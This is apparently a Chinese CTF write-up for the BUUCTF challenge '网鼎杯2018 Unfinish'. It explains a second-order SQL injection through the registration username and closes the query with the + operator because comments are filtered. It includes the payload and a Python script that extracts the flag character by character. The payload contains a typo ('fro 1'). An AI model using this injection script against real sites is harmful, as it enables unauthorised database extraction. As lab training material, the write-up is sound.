Buu - [网鼎杯2018]Unfinish

知识点:

  • 二次注入
  • 注释符不能用 => 利用数据库的+运算符 进行闭合

分析:

初始页面是login登录页面,万能密码不管用,想着肯定会有注册页面的

-> url/register.php => 有回显,可以注册账号

-> 注册完进来之后没有什么信息,能观察的就是左边有自己的用户名

在这里插入图片描述

流程:注册账号 -> 登录进来 -> 回显的是用户名

解析:注册账号,将信息放在数据库中,登录进来比对数据库,将对应用户名拿出来回显在页面中

=> 二次注入

题解:

注入点在注册页面的用户名处,测试过滤了什么 => 单引号 语句后面跟注释符也被过滤

但同时,如果是 1’ or ‘1’='1 又能成功注册,这是肯定是单引号闭合,但是因为不能在后面跟注释符,如何进行闭合

数据库中+的运用

在这里插入图片描述

闭合语句:0' + ascii(substr((select * from flag) from {} fro 1)) + '0
import requests
from bs4 import BeautifulSoup
import time

url = "http://387acb5b-091a-45f6-9bd3-ca3c685a8741.node5.buuoj.cn:81/"

m = ''

for i in range(100):
    payload = "0' + ascii(substr((select * from flag) from {} fro 1)) + '0".format(i+1)
    register_data = {
        'email':'abc{}@qq.com'.format(i),
        'username':payload,
        'password':'123456'
    }
    login_data = {
        'email':'abc{}@qq.com'.format(i),
        'password':'123456'
    }

    req = requests.session()
    url1 = url + 'register.php' # 注册页面
    url2 = url + 'login.php' # 登录页面
    url3 = url + 'index.php' # 回显页面
    res1 = req.post(url=url1, data=register_data)
    res2 = req.post(url=url2, data=login_data)
    res3 = req.post(url=url3)

    html = res3.text
    # print(html)
    soup = BeautifulSoup(html, 'html.parser')
    # print(soup.prettify())
    UserName = soup.span.string
    print(UserName)
    if int(UserName) == 0:
        break
    m += chr(int(UserName))
    print(m)
    time.sleep(1)

参考:

csdn的WP

学习python中beautifulsoup的使用

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值